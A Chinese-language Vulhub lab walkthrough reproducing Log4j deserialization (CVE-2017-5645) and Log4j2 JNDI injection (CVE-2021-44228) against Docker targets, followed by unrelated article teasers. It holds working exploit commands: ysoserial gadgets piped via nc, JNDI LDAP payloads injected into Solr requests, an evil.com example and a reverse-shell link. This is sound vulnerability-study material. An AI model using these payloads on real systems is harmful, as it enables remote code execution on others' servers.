Vulhub:Log4j[漏洞复现]
CVE-2017-5645(Log4j反序列化)
启动靶场环境
docker-compose up -d
靶机IPV4地址
ifconfig | grep eth0 -A 5
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ifconfig | grep eth0 -A 5
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.138 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::d3f0:b854:e38c:9f58 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:ae:ed:8a txqueuelen 1000 (Ethernet)
RX packets 35392 bytes 37203041 (35.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
阅读vulhub给出的文档
cat README.md
# Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
## 漏洞环境
执行如下命令启动漏洞环境
```
docker compose up -d
```环境启动后,将在4712端口开启一个TCPServer。
说一下,除了使用vulhub的docker镜像搭建环境外,我们下载了log4j的jar文件后可以直接在命令行启动这个TCPServer:`java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer`,无需使用vulhub和编写代码。
## 漏洞复现
我们使用ysoserial生成payload,然后直接发送给`your-ip:4712`端口即可。
```
java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
```然后执行`docker compose exec log4j bash`进入容器,可见 /tmp/success 已成功创建:

执行[反弹shell的命令](http://www.jackson-t.ca/runtime-exec-payloads.html),成功弹回shell:

进入容器环境中
docker exec -it 7d1002f21338 /bin/bash
攻击机中通过urldns.jar对靶场利用链进行探测
java -jar Urldns.jar file all lfgmo7.dnslog.cn
将gadget发送到靶机
cat 1.ser | nc 192.168.1.138 4712
dnslog收到回显,可见CC31攻击链适用于靶机
通过ysosersial查看可用payload
java -jar ysoserial.jar
这里直接选用CommonsCollections7进行反序列化测试
我尝试在靶机/tmp目录下新建一个0dayhp文件,生成Gadget
java -jar ysoserial.jar CommonsCollections7 "touch /tmp/0dayhp" > 1.ser
在靶机中进入/tmp目录下
root@7d1002f21338:/# cd /tmp
root@7d1002f21338:/tmp# ls
hsperfdata_root
将Gadget发送到靶机4712端口
cat 1.ser | nc 192.168.1.138 4712
此时回到靶机/tmp目录下,可见0dayhp文件已被成功创建
root@7d1002f21338:/# cd /tmp
root@7d1002f21338:/tmp# ls
hsperfdata_root
root@7d1002f21338:/tmp# ls
0dayhp hsperfdata_root
CVE-2021-44228(Log4j2_JNDI注入)
启动靶场环境
docker-compose up -d
阅读vulhub给出的漏洞文档
cat README.zh-cn.md
# Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入,执行任意代码。
参考链接:
- https://logging.apache.org/log4j/2.x/security.html
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://xz.aliyun.com/t/10649## 漏洞环境
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:
```
docker compose up -d
```服务启动后,访问`http://your-ip:8983`即可查看到Apache Solr的后台页面。
## 漏洞复现
`${jndi:dns://${sys:java.version}.example.com}`是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:
```
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
```我们可以在DNS日志平台收到相关日志,显示出当前Java版本:

实际利用JNDI注入漏洞,可以使用[JNDInjector](https://github.com/rebeyond/JNDInjector)。利用完毕后,可见`touch /tmp/success`已经成功被执行:

试用浏览器访问靶机8983端口
点击左侧Logging由右侧展示信息可知,靶机使用了Log4j2组件
理论上来说,一切会被记入Log4j2日志组件的行为都可以触发漏洞,所以我尝试寻找接口
点击左侧的Core Admin,尝试对Core进行重命名
使用Yakit抓取请求包
GET /solr/admin/cores?_=1733816918585&action=RENAME&core=demo&other=abc&wt=json HTTP/1.1
Host: 192.168.1.138:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.138:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
通过JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启用监听以便提供Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'touch /tmp/0dayhp' -A 192.168.1.138
该Payload尝试在靶机/tmp目录下新建一个0dayhp文件
JNDI注入完整Payload:${jndi:ldap://192.168.1.138:1389/x2h2y7}
尝试对/solr/admin/cores接口下的参数进行JNDI注入
GET /solr/admin/cores?_=1733816918585&action=${jndi:ldap://192.168.1.138:1389/x2h2y7}&core=demo&other=abc&wt=json HTTP/1.1
Host: 192.168.1.138:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.138:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
进入靶机终端中
docker exec -it 2e7af438ec81 /bin/bash
进入靶机/tmp目录下
root@2e7af438ec81:/# cd /tmp
root@2e7af438ec81:/tmp# ls
hsperfdata_root jetty-0_0_0_0-8983-webapp-_solr-any-5641252888151320351 start_7074523919817787729.properties
在Yakit中直接进行发包获得响应
HTTP/1.1 400 Bad Request
Content-Security-Policy: default-src 'none'; base-uri 'none'; connect-src 'self'; form-action 'self'; font-src 'self'; frame-ancestors 'none'; img-src 'self'; media-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self'; worker-src 'self';
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=utf-8
Content-Length: 331
{
"responseHeader": {
"status": 400,
"QTime": 0
},
"error": {
"metadata": [
"error-class",
"org.apache.solr.common.SolrException",
"root-error-class",
"org.apache.solr.common.SolrException"
],
"msg": "Unsupported operation: ldap://192.168.1.138:1389/x2h2y7",
"code": 400
}
}
再次查看靶机/tmp目录下文件
root@2e7af438ec81:/tmp# ls
0dayhp jetty-0_0_0_0-8983-webapp-_solr-any-5641252888151320351
hsperfdata_root start_7074523919817787729.properties
由输出可见,/tmp目录下已经多出了一个0dayhp文件漏洞利用成功
相关文章:
Vulhub:Log4j[漏洞复现]
CVE-2017-5645(Log4j反序列化) 启动靶场环境 docker-compose up -d 靶机IPV4地址 ifconfig | grep eth0 -A 5 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# ifconfig | grep eth0 -A 5 eth0: flags4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 in…...
ubuntu系统生成SSL证书配置https
自签名【Lets Encrypt】的测试证书,有效期三个月。 第一步:安装acme,如果没有安装git,需要提前安装 下载came资源 git clone https://github.com/Neilpang/acme.sh.git 无法访问,可以试用gitee的资源,安…...
记录 idea 启动 tomcat 控制台输出乱码问题解决
文章目录 问题现象解决排查过程1. **检查 idea 编码设置**2. **检查 tomcat 配置**3.检查 idea 配置文件4.在 Help 菜单栏中,修改Custom VM Options完成后保存,并重启 idea 问题现象 运行 tomcat 后,控制台输出乱码 解决排查过程 1. 检查 id…...
C++ unordered_map和unordered_set的使用
1.unordered_set系列的使用 1.1unordered_set和unordered_multiset参考文档 unordered_set和unordered_multiset参考文档 1.2unordered_set类的介绍 • unordered_set的声明如下,Key就是unordered_set底层关键字的类型 • unordered_set默认要求Key⽀持转换为整…...
【探商宝】OpenAI 发布 Sora:视频生成领域的重大突破
2024 年 12 月 10 日,OpenAI 正式推出了备受瞩目的人工智能视频生成模型 Sora,这一举措在科技界引起了轩然大波,为视频创作领域带来了全新的可能性和变革. 一、Sora 的功能与特性 1. 强大的视频生成能力 Sora 能够根据用户输入的文本描述生…...
[代码随想录Day32打卡] 理论基础 509. 斐波那契数 70. 爬楼梯 746. 使用最小花费爬楼梯
理论基础 题型 动归基础(这一节就是基础题)背包问题打家劫舍股票问题子序列问题 动态规划五部曲 确定dp数组及其下标的含义确定递推公式dp数组如何初始化遍历顺序打印dp数组 509. 斐波那契数 简单~ dp数组及下标含义: dp[i]表示第i各斐…...
【实操GPT-SoVits】声音克隆模型图文版教程
项目github地址:https://github.com/RVC-Boss/GPT-SoVITS.git官方教程:https://www.yuque.com/baicaigongchang1145haoyuangong/ib3g1e/tkemqe8vzhadfpeu本文旨在迅速实操GPT-SoVits项目,不阐述技术原理(后期如果有时间研究&#…...
开发一套SDK 第一弹
自动安装依赖包 添加条件使能 #ex: filetypesh bash_ls 识别 达到预期,多个硬件环境 等待文件文件系统挂在完成 或者创建 /sys/class/ 属性文件灌入配置操作 AI 提供的 netlink 调试方法,也是目前主流调用方法,socket yyds #include <linux/module.h> #include <linux…...
2024149读书笔记|Hans的阿狸五部曲——成长的路上分离在所难免
2024149读书笔记|Hans的阿狸五部曲——成长的路上分离在所难免 1. 《阿狸和小小云》2. 《阿狸和小玉》3. 《阿狸呓语》4. [202480读书笔记|《阿狸和弯月亮》——生的再普通,也是限量版](https://blog.csdn.net/qq_40985985/article/details/139731131)5. 《阿狸永远…...
外包干了5天,技术明显退步。。。。。
先说一下自己的情况,本科生,19年通过校招进入南京某软件公司,干了接近3年的功能测试,今年年初,感觉自己不能够在这样下去了,长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了2年的功能测试&…...
Ubuntu22.04 安装Isaac Lab
目录 1.1 安装IsaacLab 1.1.1 下载文件 1.1.2 创建Isaac Sim符号链接 1.1.3 创建并激活conda环境 1.1.4 安装依赖 1.1.5 安装IsaacLab扩展 1.1.6 安装完成,要source一下 1.2 验证IsaacLab安装 1.1 安装IsaacLab 1.1.1 下载文件 将 Isaac Lab 仓库克隆到您的…...
unity 2D像素种田游戏学习记录(自用)
一、透明度排序轴 改变sprite的排序方式,默认按照z轴进行排序(离摄像机的远近)。可以将其改变成y轴的排序方式,这样可以使2D人物走在草丛的下方就不被遮挡,走在草丛上方就被遮挡,如下图。 在项目设置-图形…...
NIFI使用
1 从Kafka接收消息,存储到数据库中。 (1) ConsumerKafka processor (2)Execute Scripts Processor 我这里是使用JS脚本进行处理。 还有很多其他语言的脚本。 var flowFile session.get(); if (flowFile ! null) {v…...
vue3+vite+ts 使用webrtc-streamer播放海康rtsp监控视频
了解webrtc-streamer webrtc-streamer 是一个使用简单机制通过 WebRTC 流式传输视频捕获设备和 RTSP 源的项目,它内置了一个小型的 HTTP server 来对 WebRTC需要的相关接口提供支持。相对于ffmpegflv.js的方案,延迟降低到了0.4秒左右,画面的…...
Nanolog起步笔记-9-log解压过程(3)寻找meta续
Nanolog起步笔记-9-log解压过程-3-寻找meta续 当前的目标新的改变decompressNextLogStatementmetadata查看业务面的log语句注释掉 runBenchmark();改过之后,2条记录之后,这里就直接返回了 小结 当前的目标 没有办法,还要继续。 当前的目标&a…...
未来网络技术的新征程:5G、物联网与边缘计算(10/10)
一、5G 网络:引领未来通信新潮流 (一)5G 网络的特点 高速率:5G 依托良好技术架构,提供更高的网络速度,峰值要求不低于 20Gb/s,下载速度最高达 10Gbps。相比 4G 网络,5G 的基站速度…...
【北京迅为】iTOP-4412全能版使用手册-第六十八章 U-boot基础知识
iTOP-4412全能版采用四核Cortex-A9,主频为1.4GHz-1.6GHz,配备S5M8767 电源管理,集成USB HUB,选用高品质板对板连接器稳定可靠,大厂生产,做工精良。接口一应俱全,开发更简单,搭载全网通4G、支持WIFI、蓝牙、…...
go 中线程安全map
在 Go 语言中,官方包 sync.Map 确实提供了线程安全的映射数据结构。然而,正如你所提到的,使用 sync.Map 时,有时需要进行类型断言,这可能会让代码显得冗长或不直观。 如果你希望使用一个更加易用的线程安全映射&#…...
封装类与普通类的区别
1 封装类的好处 数据隐藏:通过封装,我们可以将类的内部实现细节隐藏起来,只暴露有限的接口。这样,外部代码就不能直接访问或修改类的内部状态,从而保证了数据的安全性和完整性。 数据保护:封装可以…...
StarRocks-hive数据类型导致的分区问题
背景: 有个hive的表,是月分区的(month_id),分区字段用的是string类型。数据量比较大,为了保证计算性能,所以把数据导入到SR里,构建一个内部表。但是在建表的时候想使用月分区使用pa…...
Java面试题精选:设计模式(二)
1、装饰器模式与代理模式的区别 1)代理模式(Proxy Design Pattern ) 原始定义是:让你能够提供对象的替代品或其占位符。代理控制着对于原对象的访问,并允许将请求提交给对象前后进行一些处理。 代理模式的适用场景 功能增强 当需要对一个对…...
【JavaEE】多线程(7)
一、JUC的常见类 JUC→java.util.concurrent,放了和多线程相关的组件 1.1 Callable 接口 看以下从计算从1加到1000的代码: public class Demo {public static int sum;public static void main(String[] args) throws InterruptedException {Thread …...
技术型企业如何高效搭建企业博客以增强品牌影响力和市场竞争力
在数字化时代,技术型企业面临着激烈的市场竞争和快速变化的行业环境。为了在这场竞争中脱颖而出,企业需要寻找新的营销渠道和品牌建设工具。企业博客作为一种低成本、高效率的在线内容平台,已经成为技术型企业增强品牌影响力和市场竞争力的重…...
【qt环境配置】windows下的qt与vs工具集安装\版本对应关系
vs工具集安装通过vs的在线安装器勾选工具集即可 工具包下载路径:https://www.microsoft.com/zh-cn/download/details.aspx?id40784 配置工具集在qt中可以自动扫描到 《正确在 Windows 上配置 MSVC(2019) 作为 Qt 编译器》https://b3logfile.com/pdf/article/15922…...
XTuner 微调实践微调
步骤 0. 使用 conda 先构建一个 Python-3.10 的虚拟环境 cd ~ #git clone 本repo git clone https://github.com/InternLM/Tutorial.git -b camp4 mkdir -p /root/finetune && cd /root/finetune conda create -n xtuner-env python3.10 -y conda activate xtuner-env…...
docker compose
Docker的理念是一个容器只运行一个服务。而 Docker Compose 是一个用于定义和运行多容器 Docker 应用程序的工具 1 2。通过 docker-compose.yml 文件,用户可以配置应用程序服务,并使用简单的一条命令便可以创建和启动所有服务。这是关于 Docker Compose …...
Java 中的方法重写
在 Java 中,方法重写(Method Overriding)是面向对象编程的一个重要概念,它指的是子类中存在一个与父类中相同名称、相同参数列表和相同返回类型的方法。方法重写使得子类可以提供特定的实现,从而覆盖(或改变…...
阿里云ECS服务器域名解析
阿里云ECS服务器域名解析,以前添加两条A记录类型,主机记录分别为www和,这2条记录都解析到服务器IP地址。 1.进入阿里云域名控制台,找到域名 ->“解析设置”->“添加记录” 2.添加一条记录类型为A,主机记录为www,…...
非父子通信(扩展)-- event bus 事件总线
创建一个空实例Bus, export default 导出Bus 过程:由A组件对Bus组件进行监听,B组件触发Bus对应的事件,由于A组件进行监听,触发事件之后就会进行A组件的回调,那么就可以将消息发送给A了 在src文件夹下新建utils文件夹&a…...
【Linux系列】获取当前目录
💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...
大模型:把GPT搬回家 - chatGPT的本地化API -Node.js调用
chatGPT拒绝了中国大陆和中国香港的访问,包括api的调用。这使得我们无法使用目前来讲确实YYLX的生产工具,仔细想一下其实还是可以曲线解决的,本文的介绍仅供学习参考。 用Node.jschatGPT提供的API,就可以在自己本地或者自己的服务…...
【Qt项目实战】使用脚本拓展CPP应用程序(2)——Lua脚本及编辑器
考古 《【Qt项目实战 】:使用脚本拓展CPP应用程序(1)——Lua脚本及编辑器》 一、LuaBridge 最近在项目的某个模块再次使用Lua作为程序拓展语言,开发了一些新的功能。 这里借助 LuaBridge 轻松实现Qt调用C类成员函数及成员对象等…...
【RBF SBN READ】hadoop社区基于RBF的SBN READ请求流转
读写分离功能的背景及架构 当前联邦生产集群的各个子集群只有Active NameNode在工作,当读写任务变得繁忙的时候,只有一个Active负责处理的话,此时集群的响应和处理能力业务侧感知会明显下降,为此,我们将引入Observer架构,实现读写功能的分离,使得Active只负责写请求,而…...
【教学类-36-08】20241210对称蝴蝶——去白边(图案最大化)一大和一大二小
背景需求 前期制作了对称蝴蝶,用来涂色,幼儿很喜欢 【教学类-36-07】20230707三只对称蝴蝶(midjounery-niji)(涂色、裁剪、游戏(飞舞的蝴蝶))_对称图案涂色-CSDN博客文章浏览阅读49…...
Flume——sink连接hdfs的参数配置(属性参数+时间参数)
这可不是目录 配置文件官网说明属性参数时间参数 配置文件官网说明 可以参考官网的说明 属性参数 属性名称默认值说明channel-type-组件类型名称,必须是hdfshdfs.path-HDFS路径,例如:hdfs://mycluster/flume/mydatahdfs.filePrefixFlumeDa…...
lc字符串相加——模拟
415. 字符串相加 - 力扣(LeetCode) 不准调用封装好的那些库。手动模拟两数相加,记录进位。主要当其中短的数字计算完了怎么办,技巧为下标为负数时就当做0,相当于补0一样。 class Solution {public String addStrings…...
框架建设实战6——缓存组件
说起分布式缓存,如今redis大行其道。不过,我们在创建缓存组件时,需要着重考虑如下几点: 1.客户端选型 本组件基于springboot2的默认实现,即lettuce客户端。不同客户端区别如下: 名称描述 优缺点分析 jedis1.springboot1.5.*默认 2.老牌客户端,使用稳定…...
基于springboot使用Caffeine
Caffeine 是一个基于 Java 的高性能、现代化的缓存库。它由 Ben Manes 开发,受 Google Guava 缓存库的启发,但具有更好的性能和更多的功能。 Caffeine 的核心特点 高性能 基于 Java 8 的现代化设计,利用高级并发算法,提供极低的延…...
深入解析 JavaScript 中的 Blob 对象:二进制数据处理的核心
文章目录 1.Blob是什么2.Blob用法实例属性Blob方法slice方法text方法 示例1:字符串 Blob示例2:数组和字符串 Blob示例3:从文件输入创建 3.使用场景1.创建 Blob 并生成 URL,下载文件2.文件上传3.切片上传3.Blob用于URL在线预览PDF文…...
fastboot
Fastboot 是 Android 和嵌入式开发中常见的一个低级工具,它允许通过 USB 与设备直接交互,用于分区的管理和系统的刷写等任务。以下是其工作原理和核心机制的解析: 1. Fastboot 的基本概念 Fastboot 是一种通信协议,通常在设备的引…...
yosys内部数据结构
一、参考链接 1.Yosys内部结构doxygen文件 yosys-master: RTLIL Namespace Reference 2.yosys内部结构介绍 https://yosyshq.readthedocs.io/projects/yosys/en/docs-preview-cellhelp/yosys_internals/formats/rtlil_rep.html 二、概览 图 1 网表核心数据结构 如图 1所示…...
前端导出excel实战(xlsx库和exceljs库)
一. 概览 前端导出excel是比较常见的需求,比如下载excel模板和批量导出excel。目前比较常用的库有xlsx和excel,接下来就着两种方式进行梳理。 二. 下载模板 xlsx库实现: 示例核心代码如下: const excelColumn {details: {ma…...
TCP/IP杂记
TCP三次握手、四次挥手 从应用角度,不用多考虑为什么有三次,遵循标准即可。 ubuntu 下 wireshark安装: sudo add-apt-repository universe sudo apt install wireshark 三次握手实证: 第一次握手的情况如下:&#…...
深入解析 Spring Security —— 打造高效安全的权限管理体系
目录 前言1. 初识 Spring Security1.1 Spring Security 的两大核心功能1.2 Spring Security 的主要特点 2. 配置 Spring Security2.1 配置类概述2.2 基础配置示例2.3 示例解析 3. Spring Security 的进阶功能3.1 自定义用户服务3.2 注解式权限控制3.3 动态权限控制 4. 实战应用…...
PostGIS分区表学习相关
在Postgresql中对空间数据进行表分区的实践_postgresql空间数据-CSDN博客文章浏览阅读1.4k次,点赞26次,收藏21次。Postgresql的分区功能允许将一个大表按照特定的规则拆分成多个小的分区表。这样做的好处在于,在查询数据时,可以只…...
避大坑!Vue3中reactive丢失响应式的问题
在vue3中,我们定义响应式数据无非是ref和reactive。 但是有的小伙伴会踩雷!导致定义的响应式丢失的问题。 reactive丢失响应式的情况1(直接赋值) 场景: 1.你定义了一个数据:let datareactive({name:"",age:"" }) 2.然后你…...
绿虫光伏设计系统:清洁能源的未来
煤炭、石油、天然气是我们现在依赖的重要能源,但这些能源难以再生,而且开采过程中会产生污染。太阳能发电作为清洁能源的一种重要形式,受到了越来越多的关注。绿虫光伏发电系统,不仅考虑到其发电效率,还可以考虑其经济…...
Python中的文件操作与数据处理
一、前言 文件操作是数据处理和持久化存储的基础。Python内置了强大的文件操作能力,并提供了丰富的库支持复杂数据处理需求。本文将从基础的文件读写到高效的数据处理,带您全面掌握Python文件操作技能。 二、文件操作基础 1. 文件的读写 # 写入文件 with open("examp…...
在huggingface.co的Spaces中推理,得到错误:No space left on device
如果你的前几次或者上一次推理运行成功了,或者至少GPU加载过了,导致你这次问题的原因可能是某种缓存文件太大 删除它试试,如果你的推理没有在运行,这不影响任何东西 rm -rf /data-nvme/zerogpu-offload/如果有帮助,请…...
el-table expand-row-keys默认展开,数据更新后默认展开的问题
开发项目时遇到个问题,菜单展开后,刷新数据,再次点击收起按钮不好用了,要点两次才好使,解决方案如下: 1、table设置 <el-table:loading"load":data"menuDataList":load"load…...